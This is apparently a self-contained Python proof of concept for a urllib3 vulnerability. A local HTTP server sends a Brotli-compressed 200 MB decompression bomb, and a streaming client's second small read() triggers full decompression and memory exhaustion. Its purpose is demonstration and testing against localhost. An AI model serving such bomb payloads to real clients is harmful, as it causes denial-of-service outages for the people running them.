Vulnerable code sample

#!/usr/bin/env python3
import urllib3
import brotli
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer

# This example requires the 'brotli' library to be installed:
# pip install brotli

# --- Vulnerable Client Configuration ---
# This client code simulates the logic described in the CVE.
# It uses two small `read()` calls, the second of which would trigger
# the vulnerability in an affected urllib3 version.

def vulnerable_client_action():
    """
    Connects to the server and makes a request that triggers the vulnerability.
    """
    # Wait a moment for the server to start
    time.sleep(1)
    print("[CLIENT] Initializing PoolManager...")
    http = urllib3.PoolManager()

    print("[CLIENT] Sending GET request with preload_content=False to stream the response.")
    # `preload_content=False` is crucial to enable streaming and partial reads.
    try:
        resp = http.request(
            "GET",
            "http://localhost:8080",
            preload_content=False,
            headers={"Accept-Encoding": "br"},
        )

        print(f"[CLIENT] Reading the first 10 bytes. This should be fast.")
        first_chunk = resp.read(amt=10)
        print(f"[CLIENT] Read first chunk (size: {len(first_chunk)} bytes).")

        print("\n[CLIENT] >>> TRIGGERING VULNERABILITY <<<")
        print("[CLIENT] Now reading the next 10 bytes.")
        print("[CLIENT] In a vulnerable version, this second 'read' call decompresses the ENTIRE remaining stream at once.")
        print("[CLIENT] This will cause massive memory allocation and CPU usage...")

        # THE VULNERABLE CALL:
        # According to the CVE description, this second read() on a brotli-compressed
        # stream would trigger the entire remaining response to be decompressed,
        # regardless of the small 'amt' parameter.
        second_chunk = resp.read(amt=10)

        print(f"[CLIENT] VULNERABLE OPERATION FINISHED. If the program is still running, the 'bomb' was processed.")
        print(f"[CLIENT] Read second chunk (size: {len(second_chunk)} bytes).")

        resp.release_conn()

    except Exception as e:
        print(f"[CLIENT] An error occurred: {e}")
        print("[CLIENT] This could be a MemoryError if the decompression bomb was too large.")


# --- Malicious Server Configuration ---
# This server sends a "decompression bomb": a small, highly-compressed file
# that expands to a very large size.

class DecompressionBombHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        print("[SERVER] Received GET request.")
        
        # 1. Create the large, uncompressed payload (e.g., 200MB of zeros).
        # This is highly compressible.
        bomb_size = 200 * 1024 * 1024  # 200 MB
        uncompressed_payload = b'\0' * bomb_size
        print(f"[SERVER] Generated in-memory payload of {bomb_size / 1024 / 1024:.0f} MB.")

        # 2. Compress the payload with Brotli.
        compressed_payload = brotli.compress(uncompressed_payload)
        compressed_size = len(compressed_payload)
        print(f"[SERVER] Compressed payload size: {compressed_size / 1024:.2f} KB.")

        # 3. Send the HTTP response with the compressed payload.
        self.send_response(200)
        self.send_header("Content-Encoding", "br")
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Length", str(compressed_size))
        self.end_headers()
        self.wfile.write(compressed_payload)
        print("[SERVER] Sent compressed response to client.")


def run_server():
    server_address = ("", 8080)
    with HTTPServer(server_address, DecompressionBombHandler) as httpd:
        print("[SERVER] Starting HTTP server on port 8080...")
        httpd.serve_forever()


if __name__ == "__main__":
    # Run the server in a separate thread so it doesn't block the client
    server_thread = threading.Thread(target=run_server)
    server_thread.daemon = True
    server_thread.start()

    # Run the client code that demonstrates the vulnerability
    vulnerable_client_action()

    # The script will hang or crash on the second read if vulnerable and
    # system resources are exhausted. If it completes, the vulnerability
    # is not present or the 'bomb' was manageable.
    print("\n[MAIN] Client action complete. The script would have likely crashed or frozen if vulnerable.")
    # A real server would keep running, but we exit for this demo.